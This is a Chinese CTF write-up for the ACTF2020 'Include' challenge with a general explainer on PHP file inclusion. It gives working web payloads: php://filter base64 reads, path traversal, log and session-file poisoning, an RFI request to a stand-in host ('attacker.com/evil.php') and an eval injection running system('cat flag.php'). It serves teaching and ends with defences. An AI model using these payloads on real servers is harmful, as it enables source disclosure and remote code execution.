一天一道CTF 第五天(filter协议文件包含)

本文介绍了解决ACTF2020新生赛中Include挑战的方法。通过利用php://filter协议进行文件包含攻击,成功获取并解码了base64加密的flag。文章还提供了一个用于参考的链接。

[ACTF2020 新生赛]Include
网页里有个tips,点进去很容易发现就是在引导我们用文件包含
在这里插入图片描述
我们可以用php://filter协议来实施文件包含,payload为?file=php://filter/read=convert.base64-encode/resource=flag.php(或者把read=去掉也可以)
convert.base64-encode把读的内容进行base64-encode编码,resource=flag.php说明读取的文件。最后得到base64加密过的flag,网上找解码器即可。
在这里插入图片描述
文件包含漏洞可以参考https://www.smi1e.top

CTF竞赛中,文件包含漏洞(File Inclusion Vulnerability)是一种常见的安全漏洞,攻击者可以通过该漏洞读取或执行服务器上的任意文件,从而获取敏感信息(如Flag)或控制服务器。文件包含漏洞主要分为本地文件包含(Local File Inclusion, LFI)和远程文件包含(Remote File Inclusion, RFI),其中LFI更为常见,尤其在PHP环境中[^2]。 ### 本地文件包含(LFI)的常见利用方式 1. **路径遍历与敏感文件读取** 当应用程序使用用户输入作为文件路径且未进行充分过滤时,攻击者可以利用`../`等路径遍历字符访问敏感文件,如`/etc/passwd`或`flag.php`。例如,若存在如下代码: ```php include($_GET['page'] . ".php"); ``` 攻击者可以构造如下请求: ``` ?page=../../flag ``` 从而尝试包含并读取`flag.php`的内容[^1]。 2. **利用php://filter协议读取源码** 在某些情况下,直接读取文件可能被限制,但可以使用`php://filter`伪协议绕过限制,将文件内容以Base64编码形式返回。例如: ``` ?page=php://filter/convert.base64-encode/resource=flag ``` 这样可以避免直接输出PHP代码时被解析执行,而是返回其Base64编码形式,攻击者再进行解码即可获取原始内容[^1]。 3. **日志文件注入与包含** 如果攻击者可以向服务器写入内容(如通过User-Agent注入),可以尝试向服务器日志文件(如`/var/log/apache/access.log`)中注入PHP代码,再利用LFI包含该日志文件,从而实现远程代码执行(RCE)。 4. **会话文件包含** PHP默认会将用户会话信息存储在服务器上的临时文件中(如`/tmp/sess_PHPSESSID`)。攻击者可以通过设置特定的PHPSESSID,并在其值中注入PHP代码,再利用LFI包含该会话文件来执行代码。 ### 远程文件包含(RFI)的利用方式 虽然RFI在CTF中较少见,因为默认配置下`allow_url_include`和`allow_url_fopen`均为`Off`,但在某些特殊题目中可能会被启用。此时攻击者可以构造如下请求: ``` ?page=http://attacker.com/evil.php ``` 其中`evil.php`可以包含任意恶意代码,从而实现远程代码执行。 ### 示例题目解析 以Bugku CTF中的一道题为例,给出的PHP代码如下: ```php <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?> ``` 此题的关键在于`eval`函数的使用,它将用户输入作为PHP代码执行。攻击者可以通过构造`hello`参数传入恶意代码,例如: ``` ?hello=system('cat flag.php'); ``` 从而直接读取`flag.php`的内容[^3]。 ### 常见防御与绕过技巧 - **输入过滤与白名单机制** 对用户输入进行严格过滤,避免路径遍历字符(如`../`)和伪协议的使用。 - **关闭危险配置** 确保`allow_url_include`和`allow_url_fopen`为`Off`,防止远程文件包含。 - **日志文件保护** 避免用户输入直接写入日志文件,或在日志中过滤特殊字符。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值